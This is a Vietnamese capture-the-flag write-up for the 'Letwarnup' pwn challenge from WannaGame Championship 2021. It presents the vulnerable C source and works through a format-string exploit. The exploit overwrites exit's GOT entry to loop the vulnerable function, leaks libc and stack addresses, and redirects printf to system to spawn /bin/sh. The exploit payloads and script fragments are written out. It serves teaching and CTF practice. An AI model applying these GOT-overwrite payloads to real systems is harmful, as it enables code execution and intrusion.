[WANNAGAME CHAMPIONSHIP2021] Writeup Letwarnup (pwn - Msec_root - Icefrog2000)

 Đây là writeup bài pwn đầu tiên, 1 bài mình first blood


#include <stdio.h>
#include <stdlib.h>

long main(void) {
setvbuf(stdin, (char *)0x0, 2, 0);
setvbuf(stdout, (char *)0x0, 2, 0);
vuln();
return 0;
}

void vuln(void) {
char *__s;
__s = (char *)malloc(0x60);
puts("Enter your string:");
fgets(__s, 0x60, stdin);
printf(__s);
exit(0);
}

Bài này có lỗi format string và exit chương trình luôn, và 1 cái nữa là payload của mình nằm trên heap để tăng độ khó của bài.

Bước 1: Ghi đè địa chỉ hàm vuln got của exit dẫn đến format string vô hạn lần

Nhưng kiếm đâu địa chỉ của của got exit trên stack, nên trước tiên phải tạo ra nó đã

khi đặt break point ở hàm vuln, đây là stack của nó


rbp = 0x7fffffffd9c0 đang trỏ tới old rbp của main. Mà rbp của main thì lại chắc chắn trỏ tới 0, lý tưởng để ghi đè địa chỉ 0x404040 (đây là địa chỉ got exit)

Nhiều bạn không biết sẽ tưởng ăn chắc rồi, tạo cái payload kiểu %4210752c%8$n + với 1 đoạn ghi đè got là ăn, easy pwn easy win. Nhưng rồi nhận ra thay vì ghi vào 0x404040 thì nó lại ghi đè vào địa chỉ 0 gây ra seg fault.

Nguyên nhân là do khi gặp ký tự $ đầu tiên trong payload nó sẽ lưu giá trị của thứ tự stack ở các ký tự $ tiếp theo, do đó nó lấy giá trị 0. Bypass bằng cách không dùng %8$hn mà %p 6 lần, thêm 2 lần nữa là nó sẽ tìm đến địa chỉ rbp

Và lưu ý nhỏ tiếp theo là 0x404040 phải được ghi trước và 0x40122f (địa chỉ vuln) được ghi sau, nhưng địa chỉ vuln bé hơn địa chỉ exit got. Bypass bằng cách thay vì ghi đè 0x40122f thì ghi đè 0x50122f và đuôi là $hn thì nó sẽ ghi đè 0x122f vào got exit.

Nên payload sẽ là:

payload = b'%p'*6 + b'%4210698c' + b'%n' + b'%1036694c' + b'%hnHello%8$p'

Đoạn payload này tiện leak luôn libc và stack.

Ok bây giờ thì đã format string vô hạn lần. 

Bước 2: dứt điểm bằng system("/bin/sh"), ghi 2 giá trị 0x404020 và 0x404022 lên stack, đây là 2 phần của printf got, xong thay đổi thành địa chỉ system

Nếu input nằm trên stack thì đơn giản, nhưng input nằm trên heap. Đây là stack khi gọi hàm vuln lần 2, rsp bị đẩy xuống 0x20 so với trước


rbp = 0x7fffffffd9a0, nó đang trỏ tới rbp cũ. Viết payload thay đổi giá trị tại 0x7fffffffd9c0 thành các địa chỉ stack 0x7fffffffd9d8, 0x7fffffffd9dc rồi ghi 0x404020 và 0x404022 lên stack

libc.address = int(r.recv(14), 16) - 0x1eba03
log.success('Libc base: %#x' % libc.address)
r.recvuntil(b'Hello')
stack = int(r.recv(14), 16)
end = stack & 0xff
log.success('Stack: %#x' % stack)
sleep(10)

send(b'%32c%12$hhn')
payload = b'%' + b'%d' % (end + 8) + b'c%12$hhn'
send(payload)
payload = b'%' + b'%d' % 0x404022 + b'c%20$n'
send(payload)
payload = b'%' + b'%d' % (end + 0xc) + b'c%20$hhn'
send(payload)
payload = b'%28$n'
send(payload)

Sau khi thực thi xong thì stack dạng như thế này



Ở địa chỉ 0x7fffffffd9d0 đang có 2 giá trị 0x404020 và 0x404022
Ok dứt điểm bài này

l = []
system = libc.symbols['system']
l.append(system & 0xffff)
l.append(((system - l[0]) >> 16) & 0xffff)
log.info('Part1: %#x' % l[0])
log.info('Part2: %#x' % l[1])

if l[0] < l[1]:
l[1] -= l[0]
payload = b'%' + b'%d' % l[0] + b'c%34$hn%' + b'%d' % l[1] + b'c%35$hn'
else:
l[0] -= l[1]
payload = b'%' + b'%d' % l[1] + b'c%35$hn%' + b'%d' % l[0] + b'c%34$hn'

send(payload)
send(b'/bin/sh\x00')
r.interactive()


Nhận xét